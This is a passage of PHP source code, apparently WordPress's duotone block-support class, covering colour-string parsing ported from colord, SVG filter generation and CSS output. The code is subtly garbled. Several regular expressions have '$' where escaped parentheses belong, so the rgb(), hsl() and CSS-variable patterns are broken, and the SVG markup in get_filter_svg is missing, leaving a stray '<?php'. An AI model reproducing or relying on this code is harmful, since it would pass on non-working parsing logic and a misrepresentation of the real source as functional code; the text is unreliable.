				'b' => (int) base_convert( $hex[2] . $hex[2], 16, 10 ),
				'a' => 4 === strlen( $hex ) ? round( base_convert( $hex[3] . $hex[3], 16, 10 ) / 255, 2 ) : 1,
			);
		}

if ( 6 === strlen( $hex ) || 8 === strlen( $hex ) ) {
			return array(
				'r' => (int) base_convert( substr( $hex, 0, 2 ), 16, 10 ),
				'g' => (int) base_convert( substr( $hex, 2, 2 ), 16, 10 ),
				'b' => (int) base_convert( substr( $hex, 4, 2 ), 16, 10 ),
				'a' => 8 === strlen( $hex ) ? round( (int) base_convert( substr( $hex, 6, 2 ), 16, 10 ) / 255, 2 ) : 1,
			);
		}

return null;
	}

/**
	 * Clamps an array of RGBA values.
	 *
	 * Direct port of colord's clampRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgb.ts#L5 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $rgba The RGBA array to clamp.
	 * @return array The clamped RGBA array.
	 */
	private static function colord_clamp_rgba( $rgba ) {
		$rgba['r'] = self::colord_clamp( $rgba['r'], 0, 255 );
		$rgba['g'] = self::colord_clamp( $rgba['g'], 0, 255 );
		$rgba['b'] = self::colord_clamp( $rgba['b'], 0, 255 );
		$rgba['a'] = self::colord_clamp( $rgba['a'] );

return $rgba;
	}

/**
	 * Parses a valid RGB[A] CSS color function/string.
	 *
	 * Direct port of colord's parseRgbaString function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgbString.ts#L18 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The RGBA string to parse.
	 * @return array|null An array of RGBA values or null if the RGB string is invalid.
	 */
	private static function colord_parse_rgba_string( $input ) {
		// Functional syntax.
		$is_match = preg_match(
			'/^rgba?$\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?$$/i',
			$input,
			$match
		);

if ( ! $is_match ) {
			// Whitespace syntax.
			$is_match = preg_match(
				'/^rgba?$\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?$$/i',
				$input,
				$match
			);
		}

if ( ! $is_match ) {
			return null;
		}

/*
		 * For some reason, preg_match doesn't include empty matches at the end
		 * of the array, so we add them manually to make things easier later.
		 */
		for ( $i = 1; $i <= 8; $i++ ) {
			if ( ! isset( $match[ $i ] ) ) {
				$match[ $i ] = '';
			}
		}

if ( $match[2] !== $match[4] || $match[4] !== $match[6] ) {
			return null;
		}

return self::colord_clamp_rgba(
			array(
				'r' => (float) $match[1] / ( $match[2] ? 100 / 255 : 1 ),
				'g' => (float) $match[3] / ( $match[4] ? 100 / 255 : 1 ),
				'b' => (float) $match[5] / ( $match[6] ? 100 / 255 : 1 ),
				'a' => '' === $match[7] ? 1 : (float) $match[7] / ( $match[8] ? 100 : 1 ),
			)
		);
	}

/**
	 * Clamps an array of HSLA values.
	 *
	 * Direct port of colord's clampHsla function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L6 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to clamp.
	 * @return array The clamped HSLA array.
	 */
	private static function colord_clamp_hsla( $hsla ) {
		$hsla['h'] = self::colord_clamp_hue( $hsla['h'] );
		$hsla['s'] = self::colord_clamp( $hsla['s'], 0, 100 );
		$hsla['l'] = self::colord_clamp( $hsla['l'], 0, 100 );
		$hsla['a'] = self::colord_clamp( $hsla['a'] );

return $hsla;
	}

/**
	 * Converts an HSVA array to RGBA.
	 *
	 * Direct port of colord's hsvaToRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsv.ts#L52 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsva The HSVA array to convert.
	 * @return array The RGBA array.
	 */
	private static function colord_hsva_to_rgba( $hsva ) {
		$h = ( $hsva['h'] / 360 ) * 6;
		$s = $hsva['s'] / 100;
		$v = $hsva['v'] / 100;
		$a = $hsva['a'];

$hh     = floor( $h );
		$b      = $v * ( 1 - $s );
		$c      = $v * ( 1 - ( $h - $hh ) * $s );
		$d      = $v * ( 1 - ( 1 - $h + $hh ) * $s );
		$module = $hh % 6;

return array(
			'r' => array( $v, $c, $b, $b, $d, $v )[ $module ] * 255,
			'g' => array( $d, $v, $v, $c, $b, $b )[ $module ] * 255,
			'b' => array( $b, $b, $d, $v, $v, $c )[ $module ] * 255,
			'a' => $a,
		);
	}

/**
	 * Converts an HSLA array to HSVA.
	 *
	 * Direct port of colord's hslaToHsva function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L33 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to convert.
	 * @return array The HSVA array.
	 */
	private static function colord_hsla_to_hsva( $hsla ) {
		$h = $hsla['h'];
		$s = $hsla['s'];
		$l = $hsla['l'];
		$a = $hsla['a'];

$s *= ( $l < 50 ? $l : 100 - $l ) / 100;

return array(
			'h' => $h,
			's' => $s > 0 ? ( ( 2 * $s ) / ( $l + $s ) ) * 100 : 0,
			'v' => $l + $s,
			'a' => $a,
		);
	}

/**
	 * Converts an HSLA array to RGBA.
	 *
	 * Direct port of colord's hslaToRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L55 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to convert.
	 * @return array The RGBA array.
	 */
	private static function colord_hsla_to_rgba( $hsla ) {
		return self::colord_hsva_to_rgba( self::colord_hsla_to_hsva( $hsla ) );
	}

/**
	 * Parses a valid HSL[A] CSS color function/string.
	 *
	 * Direct port of colord's parseHslaString function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hslString.ts#L17 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The HSLA string to parse.
	 * @return array|null An array of RGBA values or null if the RGB string is invalid.
	 */
	private static function colord_parse_hsla_string( $input ) {
		// Functional syntax.
		$is_match = preg_match(
			'/^hsla?$\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?$$/i',
			$input,
			$match
		);

if ( ! $is_match ) {
			// Whitespace syntax.
			$is_match = preg_match(
				'/^hsla?$\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?$$/i',
				$input,
				$match
			);
		}

if ( ! $is_match ) {
			return null;
		}

/*
		 * For some reason, preg_match doesn't include empty matches at the end
		 * of the array, so we add them manually to make things easier later.
		 */
		for ( $i = 1; $i <= 6; $i++ ) {
			if ( ! isset( $match[ $i ] ) ) {
				$match[ $i ] = '';
			}
		}

$hsla = self::colord_clamp_hsla(
			array(
				'h' => self::colord_parse_hue( $match[1], $match[2] ),
				's' => (float) $match[3],
				'l' => (float) $match[4],
				'a' => '' === $match[5] ? 1 : (float) $match[5] / ( $match[6] ? 100 : 1 ),
			)
		);

return self::colord_hsla_to_rgba( $hsla );
	}

/**
	 * Tries to convert an incoming string into RGBA values.
	 *
	 * Direct port of colord's parse function simplified for our use case. This
	 * version only supports string parsing and only returns RGBA values.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/parse.ts#L37 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The string to parse.
	 * @return array|null An array of RGBA values or null if the string is invalid.
	 */
	private static function colord_parse( $input ) {
		$result = self::colord_parse_hex( $input );

if ( ! $result ) {
			$result = self::colord_parse_rgba_string( $input );
		}

if ( ! $result ) {
			$result = self::colord_parse_hsla_string( $input );
		}

return $result;
	}

/**
	 * Takes the inline CSS duotone variable from a block and return the slug.
	 *
	 * Handles styles slugs like:
	 * var:preset|duotone|blue-orange
	 * var(--wp--preset--duotone--blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $duotone_attr The duotone attribute from a block.
	 * @return string The slug of the duotone preset or an empty string if no slug is found.
	 */
	private static function get_slug_from_attribute( $duotone_attr ) {
		// Uses Branch Reset Groups `(?|…)` to return one capture group.
		preg_match( '/(?|var:preset\|duotone\|(\S+)|var$--wp--preset--duotone--(\S+)$)/', $duotone_attr, $matches );

return ! empty( $matches[1] ) ? $matches[1] : '';
	}

/**
	 * Checks if we have a valid duotone preset.
	 *
	 * Valid presets are defined in the $global_styles_presets array.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $duotone_attr The duotone attribute from a block.
	 * @return bool True if the duotone preset present and valid.
	 */
	private static function is_preset( $duotone_attr ) {
		$slug      = self::get_slug_from_attribute( $duotone_attr );
		$filter_id = self::get_filter_id( $slug );

return array_key_exists( $filter_id, self::get_all_global_styles_presets() );
	}

/**
	 * Gets the CSS variable name for a duotone preset.
	 *
	 * Example output:
	 *  --wp--preset--duotone--blue-orange
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The CSS variable name.
	 */
	private static function get_css_custom_property_name( $slug ) {
		return "--wp--preset--duotone--$slug";
	}

/**
	 * Get the ID of the duotone filter.
	 *
	 * Example output:
	 *  wp-duotone-blue-orange
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The ID of the duotone filter.
	 */
	private static function get_filter_id( $slug ) {
		return "wp-duotone-$slug";
	}

/**
	 * Get the CSS variable for a duotone preset.
	 *
	 * Example output:
	 *  var(--wp--preset--duotone--blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The CSS variable.
	 */
	private static function get_css_var( $slug ) {
		$name = self::get_css_custom_property_name( $slug );
		return "var($name)";
	}

/**
	 * Get the URL for a duotone filter.
	 *
	 * Example output:
	 *  url(#wp-duotone-blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id The ID of the filter.
	 * @return string The URL for the duotone filter.
	 */
	private static function get_filter_url( $filter_id ) {
		return "url(#$filter_id)";
	}

/**
	 * Gets the SVG for the duotone filter definition.
	 *
	 * Whitespace is removed when SCRIPT_DEBUG is not enabled.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id The ID of the filter.
	 * @param array  $colors    An array of color strings.
	 * @return string An SVG with a duotone filter definition.
	 */
	private static function get_filter_svg( $filter_id, $colors ) {
		$duotone_values = array(
			'r' => array(),
			'g' => array(),
			'b' => array(),
			'a' => array(),
		);

foreach ( $colors as $color_str ) {
			$color = self::colord_parse( $color_str );

if ( null === $color ) {
				$error_message = sprintf(
					/* translators: 1: Duotone colors, 2: theme.json, 3: settings.color.duotone */
					__( '"%1$s" in %2$s %3$s is not a hex or rgb string.' ),
					$color_str,
					'theme.json',
					'settings.color.duotone'
				);
				_doing_it_wrong( __METHOD__, $error_message, '6.3.0' );
			} else {
				$duotone_values['r'][] = $color['r'] / 255;
				$duotone_values['g'][] = $color['g'] / 255;
				$duotone_values['b'][] = $color['b'] / 255;
				$duotone_values['a'][] = $color['a'];
			}
		}

ob_start();

<?php

$svg = ob_get_clean();

if ( ! SCRIPT_DEBUG ) {
			// Clean up the whitespace.
			$svg = preg_replace( "/[\r\n\t ]+/", ' ', $svg );
			$svg = str_replace( '> <', '><', $svg );
			$svg = trim( $svg );
		}

return $svg;
	}

/**
	 * Returns the prefixed id for the duotone filter for use as a CSS id.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_id().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param  array $preset Duotone preset value as seen in theme.json.
	 * @return string        Duotone filter CSS id.
	 */
	public static function get_filter_id_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

$filter_id = '';
		if ( isset( $preset['slug'] ) ) {
			$filter_id = self::get_filter_id( $preset['slug'] );
		}
		return $filter_id;
	}

/**
	 * Gets the SVG for the duotone filter definition from a preset.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_property().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param array $preset The duotone preset.
	 * @return string The SVG for the filter definition.
	 */
	public static function get_filter_svg_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

$filter_id = self::get_filter_id_from_preset( $preset );
		return self::get_filter_svg( $filter_id, $preset['colors'] );
	}

/**
	 * Get the SVGs for the duotone filters.
	 *
	 * Example output:
	 *  <svg><defs><filter id="wp-duotone-blue-orange">…</filter></defs></svg><svg>…</svg>
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $sources The duotone presets.
	 * @return string The SVGs for the duotone filters.
	 */
	private static function get_svg_definitions( $sources ) {
		$svgs = '';
		foreach ( $sources as $filter_id => $filter_data ) {
			$colors = $filter_data['colors'];
			$svgs  .= self::get_filter_svg( $filter_id, $colors );
		}
		return $svgs;
	}

/**
	 * Get the CSS for global styles.
	 *
	 * Example output:
	 *  body{--wp--preset--duotone--blue-orange:url('#wp-duotone-blue-orange');}
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Replaced body selector with `WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR`.
	 *
	 * @param array $sources The duotone presets.
	 * @return string The CSS for global styles.
	 */
	private static function get_global_styles_presets( $sources ) {
		$css = WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR . '{';
		foreach ( $sources as $filter_id => $filter_data ) {
			$slug              = $filter_data['slug'];
			$colors            = $filter_data['colors'];
			$css_property_name = self::get_css_custom_property_name( $slug );
			$declaration_value = is_string( $colors ) ? $colors : self::get_filter_url( $filter_id );
			$css              .= "$css_property_name:$declaration_value;";
		}
		$css .= '}';
		return $css;
	}

/**
	 * Enqueue a block CSS declaration for the page.
	 *
	 * This does not include any SVGs.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-000000-ffffff-2'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'.
	 */
	private static function enqueue_block_css( $filter_id, $duotone_selector, $filter_value ) {
		// Build the CSS selectors to which the filter will be applied.
		$selectors = explode( ',', $duotone_selector );

$selectors_scoped = array();
		foreach ( $selectors as $selector_part ) {
			/*
			 * Assuming the selector part is a subclass selector (not a tag name)
			 * so we can prepend the filter id class. If we want to support elements
			 * such as `img` or namespaces, we'll need to add a case for that here.
			 */
			$selectors_scoped[] = '.' . $filter_id . trim( $selector_part );
		}

$selector = implode( ', ', $selectors_scoped );

self::$block_css_declarations[] = array(
			'selector'     => $selector,
			'declarations' => array(
				'filter' => $filter_value,
			),
		);
	}

/**
	 * Enqueue custom filter assets for the page.
	 *
	 * Includes an SVG filter and block CSS declaration.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-000000-ffffff-2'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'.
	 * @param array  $filter_data      Duotone filter data with 'slug' and 'colors' keys.
	 */
	private static function enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data ) {
		self::$used_svg_filter_data[ $filter_id ] = $filter_data;
		self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value );
	}

/**
	 * Enqueue preset assets for the page.
	 *
	 * Includes a CSS custom property, SVG filter, and block CSS declaration.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-blue-orange'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-blue-orange)' or 'unset'.
	 */
	private static function enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value ) {
		$global_styles_presets = self::get_all_global_styles_presets();
		if ( ! array_key_exists( $filter_id, $global_styles_presets ) ) {
			$error_message = sprintf(
				/* translators: 1: Duotone filter ID, 2: theme.json */
				__( 'The duotone id "%1$s" is not registered in %2$s settings' ),
				$filter_id,
				'theme.json'
			);
			_doing_it_wrong( __METHOD__, $error_message, '6.3.0' );
			return;
		}
		self::$used_global_styles_presets[ $filter_id ] = $global_styles_presets[ $filter_id ];
		self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $global_styles_presets[ $filter_id ] );
	}

/**
	 * Registers the style and colors block attributes for block types that support it.
	 *
	 * Block support is added with `supports.filter.duotone` in block.json.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Block_Type $block_type Block Type.
	 */
	public static function register_duotone_support( $block_type ) {
		/*
		 * Previous `color.__experimentalDuotone` support flag is migrated
		 * to `filter.duotone` via `block_type_metadata_settings` filter.
		 */
		if ( block_has_support( $block_type, array( 'filter', 'duotone' ), null ) ) {
			if ( ! $block_type->attributes ) {
				$block_type->attributes = array();
			}

if ( ! array_key_exists( 'style', $block_type->attributes ) ) {
				$block_type->attributes['style'] = array(
					'type' => 'object',
				);
			}
		}
	}

/**
	 * Get the CSS selector for a block type.
	 *
	 * This handles selectors defined in `color.__experimentalDuotone` support
	 * if `filter.duotone` support is not defined.
	 *
	 * @internal
	 * @since 6.3.0
	 *
	 * @param WP_Block_Type $block_type Block type to check for support.
	 * @return string|null The CSS selector or null if there is no support.
	 */
	private static function get_selector( $block_type ) {
		if ( ! ( $block_type instanceof WP_Block_Type ) ) {
			return null;
		}

/*
		 * Backward compatibility with `supports.color.__experimentalDuotone`
		 * is provided via the `block_type_metadata_settings` filter. If
		 * `supports.filter.duotone` has not been set and the experimental
		 * property has been, the experimental property value is copied into
		 * `supports.filter.duotone`.
		 */
		$duotone_support = block_has_support( $block_type, array( 'filter', 'duotone' ) );
		if ( ! $duotone_support ) {
			return null;
		}

/*
		 * If the experimental duotone support was set, that value is to be
		 * treated as a selector and requires scoping.
		 */
		$experimental_duotone = isset( $block_type->supports['color']['__experimentalDuotone'] )
			? $block_type->supports['color']['__experimentalDuotone']
			: false;
		if ( $experimental_duotone ) {
			$root_selector = wp_get_block_css_selector( $block_type );
			return is_string( $experimental_duotone )
				? WP_Theme_JSON::scope_selector( $root_selector, $experimental_duotone )
				: $root_selector;
		}

// Regular filter.duotone support uses filter.duotone selectors with fallbacks.
		return wp_get_block_css_selector( $block_type, array( 'filter', 'duotone' ), true );
	}

/**
	 * Scrape all possible duotone presets from global and theme styles and
	 * store them in self::$global_styles_presets.
	 *
	 * Used in conjunction with self::render_duotone_support for blocks that
	 * use duotone preset filters.
	 *
	 * @since 6.3.0
	 *
	 * @return array An array of global styles presets, keyed on the filter ID.
	 */
	private static function get_all_global_styles_presets() {
		if ( isset( self::$global_styles_presets ) ) {
			return self::$global_styles_presets;
		}
		// Get the per block settings from the theme.json.
		$tree              = wp_get_global_settings();
		$presets_by_origin = isset( $tree['color']['duotone'] ) ? $tree['color']['duotone'] : array();

self::$global_styles_presets = array();
		foreach ( $presets_by_origin as $presets ) {
			foreach ( $presets as $preset ) {
				$filter_id = self::get_filter_id( _wp_to_kebab_case( $preset['slug'] ) );

self::$global_styles_presets[ $filter_id ] = $preset;
			}
		}

return self::$global_styles_presets;
	}

/**
	 * Scrape all block names from global styles and store in self::$global_styles_block_names.
	 *
	 * Used in conjunction with self::render_duotone_support to output the
	 * duotone filters defined in the theme.json global styles.
	 *
	 * @since 6.3.0
	 *
	 * @return string[] An array of global style block slugs, keyed on the block name.
	 */
	private static function get_all_global_style_block_names() {
		if ( isset( self::$global_styles_block_names ) ) {
			return self::$global_styles_block_names;
		}
		// Get the per block settings from the theme.json.
		$tree        = WP_Theme_JSON_Resolver::get_merged_data();
		$block_nodes = $tree->get_styles_block_nodes();
		$theme_json  = $tree->get_raw_data();

self::$global_styles_block_names = array();

foreach ( $block_nodes as $block_node ) {
			// This block definition doesn't include any duotone settings. Skip it.
			if ( empty( $block_node['duotone'] ) ) {
				continue;
			}

// Value looks like this: 'var(--wp--preset--duotone--blue-orange)' or 'var:preset|duotone|blue-orange'.
			$duotone_attr_path = array_merge( $block_node['path'], array( 'filter', 'duotone' ) );
			$duotone_attr      = _wp_array_get( $theme_json, $duotone_attr_path, array() );

if ( empty( $duotone_attr ) ) {
				continue;
			}
			// If it has a duotone filter preset, save the block name and the preset slug.
			$slug = self::get_slug_from_attribute( $duotone_attr );

if ( $slug && $slug !== $duotone_attr ) {
				self::$global_styles_block_names[ $block_node['name'] ] = $slug;
			}
		}
		return self::$global_styles_block_names;
	}

/**
	 * Render out the duotone CSS styles and SVG.
	 *
	 * The hooks self::set_global_style_block_names and self::set_global_styles_presets
	 * must be called before this function.
	 *
	 * @since 6.3.0
	 *
	 * @param  string   $block_content Rendered block content.
	 * @param  array    $block         Block object.
	 * @param  WP_Block $wp_block      The block instance.
	 * @return string Filtered block content.
	 */
	public static function render_duotone_support( $block_content, $block, $wp_block ) {
		if ( ! $block['blockName'] ) {
			return $block_content;
		}
		$duotone_selector = self::get_selector( $wp_block->block_type );

if ( ! $duotone_selector ) {
			return $block_content;
		}

$global_styles_block_names = self::get_all_global_style_block_names();

// The block should have a duotone attribute or have duotone defined in its theme.json to be processed.
		$has_duotone_attribute     = isset( $block['attrs']['style']['color']['duotone'] );
		$has_global_styles_duotone = array_key_exists( $block['blockName'], $global_styles_block_names );

if ( ! $has_duotone_attribute && ! $has_global_styles_duotone ) {
			return $block_content;
		}

// Generate the pieces needed for rendering a duotone to the page.
		if ( $has_duotone_attribute ) {

/*
			 * Possible values for duotone attribute:
			 * 1. Array of colors - e.g. array('#000000', '#ffffff').
			 * 2. Variable for an existing Duotone preset - e.g. 'var:preset|duotone|blue-orange' or 'var(--wp--preset--duotone--blue-orange)''
			 * 3. A CSS string - e.g. 'unset' to remove globally applied duotone.
			 */

$duotone_attr = $block['attrs']['style']['color']['duotone'];
			$is_preset    = is_string( $duotone_attr ) && self::is_preset( $duotone_attr );
			$is_css       = is_string( $duotone_attr ) && ! $is_preset;
			$is_custom    = is_array( $duotone_attr );

if ( $is_preset ) {

$slug         = self::get_slug_from_attribute( $duotone_attr ); // e.g. 'blue-orange'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'.
				$filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'.

// CSS custom property, SVG filter, and block CSS.
				self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value );

} elseif ( $is_css ) {
				$slug         = wp_unique_id( sanitize_key( $duotone_attr . '-' ) ); // e.g. 'unset-1'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-unset-1'.
				$filter_value = $duotone_attr; // e.g. 'unset'.

// Just block CSS.
				self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value );
			} elseif ( $is_custom ) {
				$slug         = wp_unique_id( sanitize_key( implode( '-', $duotone_attr ) . '-' ) ); // e.g. '000000-ffffff-2'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-000000-ffffff-2'.
				$filter_value = self::get_filter_url( $filter_id ); // e.g. 'url(#wp-duotone-filter-000000-ffffff-2)'.
				$filter_data  = array(
					'slug'   => $slug,
					'colors' => $duotone_attr,
				);

// SVG filter and block CSS.
				self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data );
			}
		} elseif ( $has_global_styles_duotone ) {
			$slug         = $global_styles_block_names[ $block['blockName'] ]; // e.g. 'blue-orange'.
			$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'.
			$filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'.

// CSS custom property, SVG filter, and block CSS.
			self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value );
		}

// Like the layout hook, this assumes the hook only applies to blocks with a single wrapper.
		$tags = new WP_HTML_Tag_Processor( $block_content );
		if ( $tags->next_tag() ) {
			$tags->add_class( $filter_id );
		}
		return $tags->get_updated_html();
	}

/**
	 * Fixes the issue with our generated class name not being added to the block's outer container
	 * in classic themes due to gutenberg_restore_image_outer_container from layout block supports.
	 *
	 * @since 6.6.0
	 *
	 * @param string $block_content Rendered block content.
	 * @return string Filtered block content.
	 */
	public static function restore_image_outer_container( $block_content ) {
		if ( wp_theme_has_theme_json() ) {
			return $block_content;
		}

$tags          = new WP_HTML_Tag_Processor( $block_content );
		$wrapper_query = array(
			'tag_name'   => 'div',
			'class_name' => 'wp-block-image',
		);
		if ( ! $tags->next_tag( $wrapper_query ) ) {
			return $block_content;
		}

$tags->set_bookmark( 'wrapper-div' );
		$tags->next_tag();

$inner_classnames = explode( ' ', $tags->get_attribute( 'class' ) );
		foreach ( $inner_classnames as $classname ) {
			if ( 0 === strpos( $classname, 'wp-duotone' ) ) {
				$tags->remove_class( $classname );
				$tags->seek( 'wrapper-div' );
				$tags->add_class( $classname );
				break;
			}
		}

return $tags->get_updated_html();
	}

/**
	 * Appends the used block duotone filter declarations to the inline block supports CSS.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_block_css.
	 *
	 * @since 6.3.0
	 */
	public static function output_block_styles() {
		if ( ! empty( self::$block_css_declarations ) ) {
			wp_style_engine_get_stylesheet_from_css_rules(
				self::$block_css_declarations,
				array(
					'context' => 'block-supports',
				)
			);
		}
	}

/**
	 * Appends the used global style duotone filter presets (CSS custom
	 * properties) to the inline global styles CSS.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset.
	 *
	 * @since 6.3.0
	 */
	public static function output_global_styles() {
		if ( ! empty( self::$used_global_styles_presets ) ) {
			wp_add_inline_style( 'global-styles', self::get_global_styles_presets( self::$used_global_styles_presets ) );
		}
	}

/**
	 * Outputs all necessary SVG for duotone filters, CSS for classic themes.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset
	 * and self::enqueue_custom_filter.
	 *
	 * @since 6.3.0
	 */
	public static function output_footer_assets() {
		if ( ! empty( self::$used_svg_filter_data ) ) {
			echo self::get_svg_definitions( self::$used_svg_filter_data );
		}

// In block themes, the CSS is added in the head via wp_add_inline_style in the wp_enqueue_scripts action.
		if ( ! wp_is_block_theme() ) {
			$style_tag_id = 'core-block-supports-duotone';
			wp_register_style( $style_tag_id, false );
			if ( ! empty( self::$used_global_styles_presets ) ) {
				wp_add_inline_style( $style_tag_id, self::get_global_styles_presets( self::$used_global_styles_presets ) );
			}
			if ( ! empty( self::$block_css_declarations ) ) {
				wp_add_inline_style( $style_tag_id, wp_style_engine_get_stylesheet_from_css_rules( self::$block_css_declarations ) );
			}
			wp_enqueue_style( $style_tag_id );
		}
	}

/**
	 * Adds the duotone SVGs and CSS custom properties to the editor settings.
	 *
	 * This allows the properties to be pulled in by the EditorStyles component
	 * in JS and rendered in the post editor.
	 *
	 * @since 6.3.0
	 *
	 * @param array $settings The block editor settings from the `block_editor_settings_all` filter.
	 * @return array The editor settings with duotone SVGs and CSS custom properties.
	 */
	public static function add_editor_settings( $settings ) {
		$global_styles_presets = self::get_all_global_styles_presets();
		if ( ! empty( $global_styles_presets ) ) {
			if ( ! isset( $settings['styles'] ) ) {
				$settings['styles'] = array();
			}

$settings['styles'][] = array(
				// For the editor we can add all of the presets by default.
				'assets'         => self::get_svg_definitions( $global_styles_presets ),
				// The 'svgs' type is new in 6.3 and requires the corresponding JS changes in the EditorStyles component to work.
				'__unstableType' => 'svgs',
				// These styles not generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings.
				'isGlobalStyles' => false,
			);

$settings['styles'][] = array(
				// For the editor we can add all of the presets by default.
				'css'            => self::get_global_styles_presets( $global_styles_presets ),
				// This must be set and must be something other than 'theme' or they will be stripped out in the post editor <Editor> component.
				'__unstableType' => 'presets',
				// These styles are no longer generated by global styles, so this must be false or they will be stripped out in wp_get_block_editor_settings.
				'isGlobalStyles' => false,
			);
		}

return $settings;
	}

/**
	 * Migrates the experimental duotone support flag to the stabilized location.
	 *
	 * This moves `supports.color.__experimentalDuotone` to `supports.filter.duotone`.
	 *
	 * @since 6.3.0
	 *
	 * @param array $settings Current block type settings.
	 * @param array $metadata Block metadata as read in via block.json.
	 * @return array Filtered block type settings.
	 */
	public static function migrate_experimental_duotone_support_flag( $settings, $metadata ) {
		$duotone_support = isset( $metadata['supports']['color']['__experimentalDuotone'] )
			? $metadata['supports']['color']['__experimentalDuotone']
			: null;

